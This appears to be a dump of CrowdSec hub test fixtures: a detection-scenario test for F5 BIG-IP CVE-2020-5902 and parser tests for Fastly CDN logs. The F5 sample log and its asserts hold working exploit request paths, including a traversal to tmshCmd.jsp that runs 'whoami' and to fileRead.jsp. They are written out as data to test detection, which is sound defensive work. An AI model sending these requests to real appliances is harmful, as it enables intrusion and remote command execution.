4hub1/.tests/f5-big-ip-cve-2020-5902/000077500000000000000000000000001437532772500163645ustar00rootroot00000000000000hub1/.tests/f5-big-ip-cve-2020-5902/config.yaml000066400000000000000000000004171437532772500205170ustar00rootroot00000000000000parsers: - crowdsecurity/nginx-logs - crowdsecurity/syslog-logs - crowdsecurity/dateparse-enrich scenarios: - ./scenarios/crowdsecurity/f5-big-ip-cve-2020-5902.yaml postoverflows: - "" log_file: f5-big-ip-cve-2020-5902.log log_type: nginx labels: {} ignore_parsers: true hub1/.tests/f5-big-ip-cve-2020-5902/f5-big-ip-cve-2020-5902.log000066400000000000000000000011541437532772500223000ustar00rootroot00000000000000192.168.1.2 - - [08/Dec/2021:17:23:24 +0100] "GET /tmui/login.jsp/..;/tmui/locallb/workspace/fileRead.jsp?fileName=/etc/f5-release HTTP/1.1" 200 166 "-" "-" 192.168.1.3 - - [08/Dec/2021:17:23:24 +0100] "GET /tmui/login.jsp/..;/tmui/locallb/workspace/tmshCmd.jsp?command=whoami HTTP/1.1" 200 166 "-" "-" 192.168.1.4 - - [08/Dec/2021:17:23:24 +0100] "GET /tmui/login.jsp/..;/tmui/locallb/workspace/directoryList.jsp?directoryPath=/usr/local/www/ HTTP/1.1" 200 166 "-" "-" 192.168.1.5 - - [08/Dec/2021:17:23:24 +0100] "GET /tmui/login.jsp/%2E%2E;/tmui/locallb/workspace/tmshCmd.jsp?command=whoami HTTP/1.1" 200 166 "-" "-" hub1/.tests/f5-big-ip-cve-2020-5902/parser.assert000066400000000000000000000000001437532772500210710ustar00rootroot00000000000000hub1/.tests/f5-big-ip-cve-2020-5902/scenario.assert000066400000000000000000000113611437532772500214140ustar00rootroot00000000000000len(results) == 4 "192.168.1.5" in results[0].Overflow.GetSources() results[0].Overflow.Sources["192.168.1.5"].IP == "192.168.1.5" results[0].Overflow.Sources["192.168.1.5"].Range == "" results[0].Overflow.Sources["192.168.1.5"].GetScope() == "Ip" results[0].Overflow.Sources["192.168.1.5"].GetValue() == "192.168.1.5" results[0].Overflow.Alert.Events[0].GetMeta("datasource_path") == "f5-big-ip-cve-2020-5902.log" results[0].Overflow.Alert.Events[0].GetMeta("datasource_type") == "file" results[0].Overflow.Alert.Events[0].GetMeta("http_path") == "/tmui/login.jsp/%2E%2E;/tmui/locallb/workspace/tmshCmd.jsp?command=whoami" results[0].Overflow.Alert.Events[0].GetMeta("http_status") == "200" results[0].Overflow.Alert.Events[0].GetMeta("http_user_agent") == "-" results[0].Overflow.Alert.Events[0].GetMeta("http_verb") == "GET" results[0].Overflow.Alert.Events[0].GetMeta("log_type") == "http_access-log" results[0].Overflow.Alert.Events[0].GetMeta("service") == "http" results[0].Overflow.Alert.Events[0].GetMeta("source_ip") == "192.168.1.5" results[0].Overflow.Alert.GetScenario() == "crowdsecurity/f5-big-ip-cve-2020-5902" results[0].Overflow.Alert.Remediation == true results[0].Overflow.Alert.GetEventsCount() == 1 "192.168.1.4" in results[1].Overflow.GetSources() results[1].Overflow.Sources["192.168.1.4"].IP == "192.168.1.4" results[1].Overflow.Sources["192.168.1.4"].Range == "" results[1].Overflow.Sources["192.168.1.4"].GetScope() == "Ip" results[1].Overflow.Sources["192.168.1.4"].GetValue() == "192.168.1.4" results[1].Overflow.Alert.Events[0].GetMeta("datasource_path") == "f5-big-ip-cve-2020-5902.log" results[1].Overflow.Alert.Events[0].GetMeta("datasource_type") == "file" results[1].Overflow.Alert.Events[0].GetMeta("http_path") == "/tmui/login.jsp/..;/tmui/locallb/workspace/directoryList.jsp?directoryPath=/usr/local/www/" results[1].Overflow.Alert.Events[0].GetMeta("http_status") == "200" results[1].Overflow.Alert.Events[0].GetMeta("http_user_agent") == "-" results[1].Overflow.Alert.Events[0].GetMeta("http_verb") == "GET" results[1].Overflow.Alert.Events[0].GetMeta("log_type") == "http_access-log" results[1].Overflow.Alert.Events[0].GetMeta("service") == "http" results[1].Overflow.Alert.Events[0].GetMeta("source_ip") == "192.168.1.4" results[1].Overflow.Alert.GetScenario() == "crowdsecurity/f5-big-ip-cve-2020-5902" results[1].Overflow.Alert.Remediation == true results[1].Overflow.Alert.GetEventsCount() == 1 "192.168.1.3" in results[2].Overflow.GetSources() results[2].Overflow.Sources["192.168.1.3"].IP == "192.168.1.3" results[2].Overflow.Sources["192.168.1.3"].Range == "" results[2].Overflow.Sources["192.168.1.3"].GetScope() == "Ip" results[2].Overflow.Sources["192.168.1.3"].GetValue() == "192.168.1.3" results[2].Overflow.Alert.Events[0].GetMeta("datasource_path") == "f5-big-ip-cve-2020-5902.log" results[2].Overflow.Alert.Events[0].GetMeta("datasource_type") == "file" results[2].Overflow.Alert.Events[0].GetMeta("http_path") == "/tmui/login.jsp/..;/tmui/locallb/workspace/tmshCmd.jsp?command=whoami" results[2].Overflow.Alert.Events[0].GetMeta("http_status") == "200" results[2].Overflow.Alert.Events[0].GetMeta("http_user_agent") == "-" results[2].Overflow.Alert.Events[0].GetMeta("http_verb") == "GET" results[2].Overflow.Alert.Events[0].GetMeta("log_type") == "http_access-log" results[2].Overflow.Alert.Events[0].GetMeta("service") == "http" results[2].Overflow.Alert.Events[0].GetMeta("source_ip") == "192.168.1.3" results[2].Overflow.Alert.GetScenario() == "crowdsecurity/f5-big-ip-cve-2020-5902" results[2].Overflow.Alert.Remediation == true results[2].Overflow.Alert.GetEventsCount() == 1 "192.168.1.2" in results[3].Overflow.GetSources() results[3].Overflow.Sources["192.168.1.2"].IP == "192.168.1.2" results[3].Overflow.Sources["192.168.1.2"].Range == "" results[3].Overflow.Sources["192.168.1.2"].GetScope() == "Ip" results[3].Overflow.Sources["192.168.1.2"].GetValue() == "192.168.1.2" results[3].Overflow.Alert.Events[0].GetMeta("datasource_path") == "f5-big-ip-cve-2020-5902.log" results[3].Overflow.Alert.Events[0].GetMeta("datasource_type") == "file" results[3].Overflow.Alert.Events[0].GetMeta("http_path") == "/tmui/login.jsp/..;/tmui/locallb/workspace/fileRead.jsp?fileName=/etc/f5-release" results[3].Overflow.Alert.Events[0].GetMeta("http_status") == "200" results[3].Overflow.Alert.Events[0].GetMeta("http_user_agent") == "-" results[3].Overflow.Alert.Events[0].GetMeta("http_verb") == "GET" results[3].Overflow.Alert.Events[0].GetMeta("log_type") == "http_access-log" results[3].Overflow.Alert.Events[0].GetMeta("service") == "http" results[3].Overflow.Alert.Events[0].GetMeta("source_ip") == "192.168.1.2" results[3].Overflow.Alert.GetScenario() == "crowdsecurity/f5-big-ip-cve-2020-5902" results[3].Overflow.Alert.Remediation == true results[3].Overflow.Alert.GetEventsCount() == 1hub1/.tests/fastly-logs/000077500000000000000000000000001437532772500154205ustar00rootroot00000000000000hub1/.tests/fastly-logs/config.yaml000066400000000000000000000003701437532772500175510ustar00rootroot00000000000000parsers: - crowdsecurity/syslog-logs - ./parsers/s02-enrich/crowdsecurity/dateparse-enrich.yaml - ./parsers/s01-parse/crowdsecurity/fastly-logs.yaml log_file: fastly-logs.log log_type: syslog labels: external_format: fastly ignore_parsers: false hub1/.tests/fastly-logs/fastly-logs.log000066400000000000000000000052461437532772500203760ustar00rootroot000000000000002021-11-12T16:59:46.613304+00:00 1.1.1.1 { "timestamp": "2021-11-12T16:59:45+0000", "client_ip": "1.2.3.4", "geo_country": "france", "geo_city": "gargenville", "host": "fastly.mydomain.com", "url": "/zVnC16Tl.exe", "request_method": "GET", "request_protocol": "HTTP/1.1", "request_referer": "", "request_user_agent": "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/74.0.3729.169 Safari/537.36", "response_state": "MISS-CLUSTER", "response_status": 404, "response_reason": "Not Found", "response_body_size": 564, "fastly_server": "cache-cdg20764-CDG", "fastly_is_edge": true } 2021-11-12T16:59:46.618924+00:00 2.2.2.2 { "timestamp": "2021-11-12T16:59:45+0000", "client_ip": "1.2.3.4", "geo_country": "france", "geo_city": "gargenville", "host": "fastly.mydomain.com", "url": "/zVnC16Tl.csp", "request_method": "GET", "request_protocol": "HTTP/1.1", "request_referer": "", "request_user_agent": "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/74.0.3729.169 Safari/537.36", "response_state": "MISS-CLUSTER", "response_status": 404, "response_reason": "Not Found", "response_body_size": 564, "fastly_server": "cache-cdg20764-CDG", "fastly_is_edge": true } 2021-11-15T06:25:30.455237+00:00 3.3.3.3 { "timestamp": "2021-11-15T06:25:28+0000", "client_ip": "5.6.7.8", "geo_country": "india", "geo_city": "rajgurunagar", "host": "fastly.mydomain.com", "url": "/", "request_method": "GET", "request_protocol": "HTTP/1.1", "request_referer": "", "request_user_agent": "Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/91.0.4472.124 Safari/537.36", "response_state": "MISS-CLUSTER", "response_status": 200, "response_reason": "OK", "response_body_size": 384, "fastly_server": "cache-hyd1100029-HYD", "fastly_is_edge": true } 2021-11-15T06:25:31.670312+00:00 3.3.3.3 { "timestamp": "2021-11-15T06:25:30+0000", "client_ip": "5.6.7.8", "geo_country": "india", "geo_city": "rajgurunagar", "host": "fastly.mydomain.com", "url": "/favicon.ico", "request_method": "GET", "request_protocol": "HTTP/1.1", "request_referer": "http://fastly.mydomain.com/", "request_user_agent": "Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/91.0.4472.124 Safari/537.36", "response_state": "MISS-CLUSTER", "response_status": 404, "response_reason": "Not Found", "response_body_size": 186, "fastly_server": "cache-hyd1100029-HYD", "fastly_is_edge": true }hub1/.tests/fastly-logs/parser.assert000066400000000000000000000714571437532772500201550ustar00rootroot00000000000000len(results) == 4 len(results["s00-raw"]["crowdsecurity/syslog-logs"]) == 4 results["s00-raw"]["crowdsecurity/syslog-logs"][0].Success == true results["s00-raw"]["crowdsecurity/syslog-logs"][0].Evt.Parsed["logsource"] == "syslog" results["s00-raw"]["crowdsecurity/syslog-logs"][0].Evt.Parsed["message"] == " { \"timestamp\": \"2021-11-12T16:59:45+0000\", \"client_ip\": \"1.2.3.4\", \"geo_country\": \"france\", \"geo_city\": \"gargenville\", \"host\": \"fastly.mydomain.com\", \"url\": \"/zVnC16Tl.exe\", \"request_method\": \"GET\", \"request_protocol\": \"HTTP/1.1\", \"request_referer\": \"\", \"request_user_agent\": \"Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/74.0.3729.169 Safari/537.36\", \"response_state\": \"MISS-CLUSTER\", \"response_status\": 404, \"response_reason\": \"Not Found\", \"response_body_size\": 564, \"fastly_server\": \"cache-cdg20764-CDG\", \"fastly_is_edge\": true }" results["s00-raw"]["crowdsecurity/syslog-logs"][0].Evt.Parsed["timestamp8601"] == "2021-11-12T16:59:46.613304+00:00" results["s00-raw"]["crowdsecurity/syslog-logs"][0].Evt.Meta["datasource_path"] == "fastly-logs.log" results["s00-raw"]["crowdsecurity/syslog-logs"][0].Evt.Meta["datasource_type"] == "file" results["s00-raw"]["crowdsecurity/syslog-logs"][0].Evt.Meta["machine"] == "1.1.1.1" results["s00-raw"]["crowdsecurity/syslog-logs"][1].Success == true results["s00-raw"]["crowdsecurity/syslog-logs"][1].Evt.Parsed["timestamp8601"] == "2021-11-12T16:59:46.618924+00:00" results["s00-raw"]["crowdsecurity/syslog-logs"][1].Evt.Parsed["logsource"] == "syslog" results["s00-raw"]["crowdsecurity/syslog-logs"][1].Evt.Parsed["message"] == " { \"timestamp\": \"2021-11-12T16:59:45+0000\", \"client_ip\": \"1.2.3.4\", \"geo_country\": \"france\", \"geo_city\": \"gargenville\", \"host\": \"fastly.mydomain.com\", \"url\": \"/zVnC16Tl.csp\", \"request_method\": \"GET\", \"request_protocol\": \"HTTP/1.1\", \"request_referer\": \"\", \"request_user_agent\": \"Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/74.0.3729.169 Safari/537.36\", \"response_state\": \"MISS-CLUSTER\", \"response_status\": 404, \"response_reason\": \"Not Found\", \"response_body_size\": 564, \"fastly_server\": \"cache-cdg20764-CDG\", \"fastly_is_edge\": true }" results["s00-raw"]["crowdsecurity/syslog-logs"][1].Evt.Meta["datasource_path"] == "fastly-logs.log" results["s00-raw"]["crowdsecurity/syslog-logs"][1].Evt.Meta["datasource_type"] == "file" results["s00-raw"]["crowdsecurity/syslog-logs"][1].Evt.Meta["machine"] == "2.2.2.2" results["s00-raw"]["crowdsecurity/syslog-logs"][2].Success == true results["s00-raw"]["crowdsecurity/syslog-logs"][2].Evt.Parsed["timestamp8601"] == "2021-11-15T06:25:30.455237+00:00" results["s00-raw"]["crowdsecurity/syslog-logs"][2].Evt.Parsed["logsource"] == "syslog" results["s00-raw"]["crowdsecurity/syslog-logs"][2].Evt.Parsed["message"] == " { \"timestamp\": \"2021-11-15T06:25:28+0000\", \"client_ip\": \"5.6.7.8\", \"geo_country\": \"india\", \"geo_city\": \"rajgurunagar\", \"host\": \"fastly.mydomain.com\", \"url\": \"/\", \"request_method\": \"GET\", \"request_protocol\": \"HTTP/1.1\", \"request_referer\": \"\", \"request_user_agent\": \"Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/91.0.4472.124 Safari/537.36\", \"response_state\": \"MISS-CLUSTER\", \"response_status\": 200, \"response_reason\": \"OK\", \"response_body_size\": 384, \"fastly_server\": \"cache-hyd1100029-HYD\", \"fastly_is_edge\": true }" results["s00-raw"]["crowdsecurity/syslog-logs"][2].Evt.Meta["datasource_type"] == "file" results["s00-raw"]["crowdsecurity/syslog-logs"][2].Evt.Meta["machine"] == "3.3.3.3" results["s00-raw"]["crowdsecurity/syslog-logs"][2].Evt.Meta["datasource_path"] == "fastly-logs.log" results["s00-raw"]["crowdsecurity/syslog-logs"][3].Success == true results["s00-raw"]["crowdsecurity/syslog-logs"][3].Evt.Parsed["timestamp8601"] == "2021-11-15T06:25:31.670312+00:00" results["s00-raw"]["crowdsecurity/syslog-logs"][3].Evt.Parsed["logsource"] == "syslog" results["s00-raw"]["crowdsecurity/syslog-logs"][3].Evt.Parsed["message"] == " { \"timestamp\": \"2021-11-15T06:25:30+0000\", \"client_ip\": \"5.6.7.8\", \"geo_country\": \"india\", \"geo_city\": \"rajgurunagar\", \"host\": \"fastly.mydomain.com\", \"url\": \"/favicon.ico\", \"request_method\": \"GET\", \"request_protocol\": \"HTTP/1.1\", \"request_referer\": \"http://fastly.mydomain.com/\", \"request_user_agent\": \"Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/91.0.4472.124 Safari/537.36\", \"response_state\": \"MISS-CLUSTER\", \"response_status\": 404, \"response_reason\": \"Not Found\", \"response_body_size\": 186, \"fastly_server\": \"cache-hyd1100029-HYD\", \"fastly_is_edge\": true }" results["s00-raw"]["crowdsecurity/syslog-logs"][3].Evt.Meta["datasource_path"] == "fastly-logs.log" results["s00-raw"]["crowdsecurity/syslog-logs"][3].Evt.Meta["datasource_type"] == "file" results["s00-raw"]["crowdsecurity/syslog-logs"][3].Evt.Meta["machine"] == "3.3.3.3" len(results["s01-parse"]["crowdsecurity/fastly-logs"]) == 4 results["s01-parse"]["crowdsecurity/fastly-logs"][0].Success == true results["s01-parse"]["crowdsecurity/fastly-logs"][0].Evt.Parsed["tz_part2"] == "00" results["s01-parse"]["crowdsecurity/fastly-logs"][0].Evt.Parsed["body_bytes_sent"] == "564" results["s01-parse"]["crowdsecurity/fastly-logs"][0].Evt.Parsed["message"] == " { \"timestamp\": \"2021-11-12T16:59:45+0000\", \"client_ip\": \"1.2.3.4\", \"geo_country\": \"france\", \"geo_city\": \"gargenville\", \"host\": \"fastly.mydomain.com\", \"url\": \"/zVnC16Tl.exe\", \"request_method\": \"GET\", \"request_protocol\": \"HTTP/1.1\", \"request_referer\": \"\", \"request_user_agent\": \"Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/74.0.3729.169 Safari/537.36\", \"response_state\": \"MISS-CLUSTER\", \"response_status\": 404, \"response_reason\": \"Not Found\", \"response_body_size\": 564, \"fastly_server\": \"cache-cdg20764-CDG\", \"fastly_is_edge\": true }" results["s01-parse"]["crowdsecurity/fastly-logs"][0].Evt.Parsed["timestamp8601"] == "2021-11-12T16:59:46.613304+00:00" results["s01-parse"]["crowdsecurity/fastly-logs"][0].Evt.Parsed["tz_part1"] == "00" results["s01-parse"]["crowdsecurity/fastly-logs"][0].Evt.Parsed["fastly_timestamp"] == "2021-11-12T16:59:45" results["s01-parse"]["crowdsecurity/fastly-logs"][0].Evt.Parsed["logsource"] == "syslog" results["s01-parse"]["crowdsecurity/fastly-logs"][0].Evt.Parsed["verb"] == "GET" results["s01-parse"]["crowdsecurity/fastly-logs"][0].Evt.Parsed["http_user_agent"] == "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/74.0.3729.169 Safari/537.36" results["s01-parse"]["crowdsecurity/fastly-logs"][0].Evt.Parsed["request"] == "/zVnC16Tl.exe" results["s01-parse"]["crowdsecurity/fastly-logs"][0].Evt.Meta["verb"] == "GET" results["s01-parse"]["crowdsecurity/fastly-logs"][0].Evt.Meta["datasource_path"] == "fastly-logs.log" results["s01-parse"]["crowdsecurity/fastly-logs"][0].Evt.Meta["http_path"] == "/zVnC16Tl.exe" results["s01-parse"]["crowdsecurity/fastly-logs"][0].Evt.Meta["http_status"] == "404" results["s01-parse"]["crowdsecurity/fastly-logs"][0].Evt.Meta["http_user_agent"] == "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/74.0.3729.169 Safari/537.36" results["s01-parse"]["crowdsecurity/fastly-logs"][0].Evt.Meta["machine"] == "1.1.1.1" results["s01-parse"]["crowdsecurity/fastly-logs"][0].Evt.Meta["datasource_type"] == "file" results["s01-parse"]["crowdsecurity/fastly-logs"][0].Evt.Meta["log_type"] == "http_access-log" results["s01-parse"]["crowdsecurity/fastly-logs"][0].Evt.Meta["service"] == "http" results["s01-parse"]["crowdsecurity/fastly-logs"][0].Evt.Meta["source_ip"] == "1.2.3.4" results["s01-parse"]["crowdsecurity/fastly-logs"][1].Success == true results["s01-parse"]["crowdsecurity/fastly-logs"][1].Evt.Parsed["body_bytes_sent"] == "564" results["s01-parse"]["crowdsecurity/fastly-logs"][1].Evt.Parsed["http_user_agent"] == "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/74.0.3729.169 Safari/537.36" results["s01-parse"]["crowdsecurity/fastly-logs"][1].Evt.Parsed["verb"] == "GET" results["s01-parse"]["crowdsecurity/fastly-logs"][1].Evt.Parsed["request"] == "/zVnC16Tl.csp" results["s01-parse"]["crowdsecurity/fastly-logs"][1].Evt.Parsed["tz_part1"] == "00" results["s01-parse"]["crowdsecurity/fastly-logs"][1].Evt.Parsed["logsource"] == "syslog" results["s01-parse"]["crowdsecurity/fastly-logs"][1].Evt.Parsed["tz_part2"] == "00" results["s01-parse"]["crowdsecurity/fastly-logs"][1].Evt.Parsed["timestamp8601"] == "2021-11-12T16:59:46.618924+00:00" results["s01-parse"]["crowdsecurity/fastly-logs"][1].Evt.Parsed["fastly_timestamp"] == "2021-11-12T16:59:45" results["s01-parse"]["crowdsecurity/fastly-logs"][1].Evt.Parsed["message"] == " { \"timestamp\": \"2021-11-12T16:59:45+0000\", \"client_ip\": \"1.2.3.4\", \"geo_country\": \"france\", \"geo_city\": \"gargenville\", \"host\": \"fastly.mydomain.com\", \"url\": \"/zVnC16Tl.csp\", \"request_method\": \"GET\", \"request_protocol\": \"HTTP/1.1\", \"request_referer\": \"\", \"request_user_agent\": \"Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/74.0.3729.169 Safari/537.36\", \"response_state\": \"MISS-CLUSTER\", \"response_status\": 404, \"response_reason\": \"Not Found\", \"response_body_size\": 564, \"fastly_server\": \"cache-cdg20764-CDG\", \"fastly_is_edge\": true }" results["s01-parse"]["crowdsecurity/fastly-logs"][1].Evt.Meta["datasource_path"] == "fastly-logs.log" results["s01-parse"]["crowdsecurity/fastly-logs"][1].Evt.Meta["http_status"] == "404" results["s01-parse"]["crowdsecurity/fastly-logs"][1].Evt.Meta["http_user_agent"] == "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/74.0.3729.169 Safari/537.36" results["s01-parse"]["crowdsecurity/fastly-logs"][1].Evt.Meta["log_type"] == "http_access-log" results["s01-parse"]["crowdsecurity/fastly-logs"][1].Evt.Meta["datasource_type"] == "file" results["s01-parse"]["crowdsecurity/fastly-logs"][1].Evt.Meta["http_path"] == "/zVnC16Tl.csp" results["s01-parse"]["crowdsecurity/fastly-logs"][1].Evt.Meta["machine"] == "2.2.2.2" results["s01-parse"]["crowdsecurity/fastly-logs"][1].Evt.Meta["service"] == "http" results["s01-parse"]["crowdsecurity/fastly-logs"][1].Evt.Meta["source_ip"] == "1.2.3.4" results["s01-parse"]["crowdsecurity/fastly-logs"][1].Evt.Meta["verb"] == "GET" results["s01-parse"]["crowdsecurity/fastly-logs"][2].Success == true results["s01-parse"]["crowdsecurity/fastly-logs"][2].Evt.Parsed["request"] == "/" results["s01-parse"]["crowdsecurity/fastly-logs"][2].Evt.Parsed["tz_part1"] == "00" results["s01-parse"]["crowdsecurity/fastly-logs"][2].Evt.Parsed["fastly_timestamp"] == "2021-11-15T06:25:28" results["s01-parse"]["crowdsecurity/fastly-logs"][2].Evt.Parsed["logsource"] == "syslog" results["s01-parse"]["crowdsecurity/fastly-logs"][2].Evt.Parsed["verb"] == "GET" results["s01-parse"]["crowdsecurity/fastly-logs"][2].Evt.Parsed["message"] == " { \"timestamp\": \"2021-11-15T06:25:28+0000\", \"client_ip\": \"5.6.7.8\", \"geo_country\": \"india\", \"geo_city\": \"rajgurunagar\", \"host\": \"fastly.mydomain.com\", \"url\": \"/\", \"request_method\": \"GET\", \"request_protocol\": \"HTTP/1.1\", \"request_referer\": \"\", \"request_user_agent\": \"Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/91.0.4472.124 Safari/537.36\", \"response_state\": \"MISS-CLUSTER\", \"response_status\": 200, \"response_reason\": \"OK\", \"response_body_size\": 384, \"fastly_server\": \"cache-hyd1100029-HYD\", \"fastly_is_edge\": true }" results["s01-parse"]["crowdsecurity/fastly-logs"][2].Evt.Parsed["timestamp8601"] == "2021-11-15T06:25:30.455237+00:00" results["s01-parse"]["crowdsecurity/fastly-logs"][2].Evt.Parsed["tz_part2"] == "00" results["s01-parse"]["crowdsecurity/fastly-logs"][2].Evt.Parsed["body_bytes_sent"] == "384" results["s01-parse"]["crowdsecurity/fastly-logs"][2].Evt.Parsed["http_user_agent"] == "Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/91.0.4472.124 Safari/537.36" results["s01-parse"]["crowdsecurity/fastly-logs"][2].Evt.Meta["http_path"] == "/" results["s01-parse"]["crowdsecurity/fastly-logs"][2].Evt.Meta["log_type"] == "http_access-log" results["s01-parse"]["crowdsecurity/fastly-logs"][2].Evt.Meta["verb"] == "GET" results["s01-parse"]["crowdsecurity/fastly-logs"][2].Evt.Meta["service"] == "http" results["s01-parse"]["crowdsecurity/fastly-logs"][2].Evt.Meta["source_ip"] == "5.6.7.8" results["s01-parse"]["crowdsecurity/fastly-logs"][2].Evt.Meta["datasource_path"] == "fastly-logs.log" results["s01-parse"]["crowdsecurity/fastly-logs"][2].Evt.Meta["datasource_type"] == "file" results["s01-parse"]["crowdsecurity/fastly-logs"][2].Evt.Meta["http_status"] == "200" results["s01-parse"]["crowdsecurity/fastly-logs"][2].Evt.Meta["http_user_agent"] == "Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/91.0.4472.124 Safari/537.36" results["s01-parse"]["crowdsecurity/fastly-logs"][2].Evt.Meta["machine"] == "3.3.3.3" results["s01-parse"]["crowdsecurity/fastly-logs"][3].Success == true results["s01-parse"]["crowdsecurity/fastly-logs"][3].Evt.Parsed["timestamp8601"] == "2021-11-15T06:25:31.670312+00:00" results["s01-parse"]["crowdsecurity/fastly-logs"][3].Evt.Parsed["http_user_agent"] == "Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/91.0.4472.124 Safari/537.36" results["s01-parse"]["crowdsecurity/fastly-logs"][3].Evt.Parsed["verb"] == "GET" results["s01-parse"]["crowdsecurity/fastly-logs"][3].Evt.Parsed["tz_part1"] == "00" results["s01-parse"]["crowdsecurity/fastly-logs"][3].Evt.Parsed["body_bytes_sent"] == "186" results["s01-parse"]["crowdsecurity/fastly-logs"][3].Evt.Parsed["http_referer"] == "http://fastly.mydomain.com/" results["s01-parse"]["crowdsecurity/fastly-logs"][3].Evt.Parsed["logsource"] == "syslog" results["s01-parse"]["crowdsecurity/fastly-logs"][3].Evt.Parsed["request"] == "/favicon.ico" results["s01-parse"]["crowdsecurity/fastly-logs"][3].Evt.Parsed["tz_part2"] == "00" results["s01-parse"]["crowdsecurity/fastly-logs"][3].Evt.Parsed["fastly_timestamp"] == "2021-11-15T06:25:30" results["s01-parse"]["crowdsecurity/fastly-logs"][3].Evt.Parsed["message"] == " { \"timestamp\": \"2021-11-15T06:25:30+0000\", \"client_ip\": \"5.6.7.8\", \"geo_country\": \"india\", \"geo_city\": \"rajgurunagar\", \"host\": \"fastly.mydomain.com\", \"url\": \"/favicon.ico\", \"request_method\": \"GET\", \"request_protocol\": \"HTTP/1.1\", \"request_referer\": \"http://fastly.mydomain.com/\", \"request_user_agent\": \"Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/91.0.4472.124 Safari/537.36\", \"response_state\": \"MISS-CLUSTER\", \"response_status\": 404, \"response_reason\": \"Not Found\", \"response_body_size\": 186, \"fastly_server\": \"cache-hyd1100029-HYD\", \"fastly_is_edge\": true }" results["s01-parse"]["crowdsecurity/fastly-logs"][3].Evt.Meta["source_ip"] == "5.6.7.8" results["s01-parse"]["crowdsecurity/fastly-logs"][3].Evt.Meta["datasource_type"] == "file" results["s01-parse"]["crowdsecurity/fastly-logs"][3].Evt.Meta["http_path"] == "/favicon.ico" results["s01-parse"]["crowdsecurity/fastly-logs"][3].Evt.Meta["http_user_agent"] == "Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/91.0.4472.124 Safari/537.36" results["s01-parse"]["crowdsecurity/fastly-logs"][3].Evt.Meta["log_type"] == "http_access-log" results["s01-parse"]["crowdsecurity/fastly-logs"][3].Evt.Meta["verb"] == "GET" results["s01-parse"]["crowdsecurity/fastly-logs"][3].Evt.Meta["datasource_path"] == "fastly-logs.log" results["s01-parse"]["crowdsecurity/fastly-logs"][3].Evt.Meta["http_status"] == "404" results["s01-parse"]["crowdsecurity/fastly-logs"][3].Evt.Meta["machine"] == "3.3.3.3" results["s01-parse"]["crowdsecurity/fastly-logs"][3].Evt.Meta["service"] == "http" len(results["s02-enrich"]["crowdsecurity/dateparse-enrich"]) == 4 results["s02-enrich"]["crowdsecurity/dateparse-enrich"][0].Success == true results["s02-enrich"]["crowdsecurity/dateparse-enrich"][0].Evt.Parsed["tz_part1"] == "00" results["s02-enrich"]["crowdsecurity/dateparse-enrich"][0].Evt.Parsed["fastly_timestamp"] == "2021-11-12T16:59:45" results["s02-enrich"]["crowdsecurity/dateparse-enrich"][0].Evt.Parsed["request"] == "/zVnC16Tl.exe" results["s02-enrich"]["crowdsecurity/dateparse-enrich"][0].Evt.Parsed["timestamp8601"] == "2021-11-12T16:59:46.613304+00:00" results["s02-enrich"]["crowdsecurity/dateparse-enrich"][0].Evt.Parsed["body_bytes_sent"] == "564" results["s02-enrich"]["crowdsecurity/dateparse-enrich"][0].Evt.Parsed["logsource"] == "syslog" results["s02-enrich"]["crowdsecurity/dateparse-enrich"][0].Evt.Parsed["message"] == " { \"timestamp\": \"2021-11-12T16:59:45+0000\", \"client_ip\": \"1.2.3.4\", \"geo_country\": \"france\", \"geo_city\": \"gargenville\", \"host\": \"fastly.mydomain.com\", \"url\": \"/zVnC16Tl.exe\", \"request_method\": \"GET\", \"request_protocol\": \"HTTP/1.1\", \"request_referer\": \"\", \"request_user_agent\": \"Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/74.0.3729.169 Safari/537.36\", \"response_state\": \"MISS-CLUSTER\", \"response_status\": 404, \"response_reason\": \"Not Found\", \"response_body_size\": 564, \"fastly_server\": \"cache-cdg20764-CDG\", \"fastly_is_edge\": true }" results["s02-enrich"]["crowdsecurity/dateparse-enrich"][0].Evt.Parsed["verb"] == "GET" results["s02-enrich"]["crowdsecurity/dateparse-enrich"][0].Evt.Parsed["http_user_agent"] == "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/74.0.3729.169 Safari/537.36" results["s02-enrich"]["crowdsecurity/dateparse-enrich"][0].Evt.Parsed["tz_part2"] == "00" results["s02-enrich"]["crowdsecurity/dateparse-enrich"][0].Evt.Meta["datasource_path"] == "fastly-logs.log" results["s02-enrich"]["crowdsecurity/dateparse-enrich"][0].Evt.Meta["datasource_type"] == "file" 